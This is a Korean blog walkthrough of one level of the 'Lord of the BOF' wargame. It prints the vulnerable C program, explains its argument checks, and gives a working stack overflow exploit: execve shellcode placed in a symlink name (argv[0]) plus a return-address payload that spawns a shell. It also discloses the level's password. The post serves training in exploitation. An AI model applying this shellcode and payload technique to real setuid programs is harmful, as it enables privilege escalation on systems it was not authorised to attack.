SH1R0_HACKER
10. vampire -> skeleton 본문
id : vampire
password : music world
[ skeleton.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
자 소스를 분석해보자.
argc가 2개 이하면 "argv error"를 출력한다.
memset을 이용해 environ (환경변수)를 모두 0으로 초기화 시킨다.
argv[1][47]이 \xbf가 아니면 "stack is still your friend."를 출력한다.
argv[1]의 길이가 48byte를 초과하면 "argument is too long!"을 출력한다.
argc의 갯수를 saved_argc에 저장한다.
argv[1]으로 받은 걸 buffer로 복사한다.
buffer를 출력한다.
buffer 변수의 40byte만큼을 모두 0으로 초기화 시킨다.
saved_argc만큼 argv를 0으로 초기화 해버린다.
argc = arguments count
./skeleton TEST 로 프로그램을 실행하게 되면 argc = 2
인자를 하나도 전달하지않으면 argc는 1이다.
argv = arguments vector
./skeleton A B C 로 프로그램을 실행하게되면
argv[0] = A
argv[1] = B
argv[2] = C
이렇게 들어가게 된다.
이 문제를 풀기위해선
1. argc를 2개 이상으로 만들어주고
2. 환경 변수를 이용하면 안 되고
3. argv[1][47]은 \xbf가 되어야 하고
4. argv[1]의 길이는 48byte 이상이 되면 안 되고
5. argc 개수만큼 argv가 초기화된다.
라는 사실을 알고 풀어야 한다.
이 문제는 argv[0]에 대한 제약은 하나도 없다.
argv[0]에 쉘코드를 넣어버리면 argc의 개수가 한개가 되어버린다.
그래서 ultra argv hunter 가 작동을 하지 않으므로 argv가 초기화 될 일은 없다.
ln -s skeleton2 `python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
위 명령어로 skeleton2 파일의 심볼릭 링크를 쉘코드로 만들어주자.
쉘코드는 8. orge -> troll 풀이에 사용한 \x2f가 포함되지 않은 쉘코드를 사용했다.
sh1r0hacker.tistory.com/86?category=897370
이후 gdb로 심볼릭 링크를 실행시킨 후 "A"*47+"\xbf" 를 날려서 argv[0]의 위치를 찾아내자.
찾았다.
RET 주소를 대충 0x0xbfffffcc로 잡고 페이로드를 작성하자.
./`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'` `python -c 'print "A"*44+"\xcc\xff\xff\xbf"'`
bash가 잘 실행된다.
원본 파일에 적용시켜보자.
'System > The Lord of BOF' 카테고리의 다른 글
12. golem -> darkknight (0) | 2020.10.30 |
---|---|
11. skeleton -> golem (0) | 2020.10.29 |
9. troll -> vampire (0) | 2020.10.27 |
8. orge -> troll (0) | 2020.10.26 |
7. darkelf -> orgc (0) | 2020.10.24 |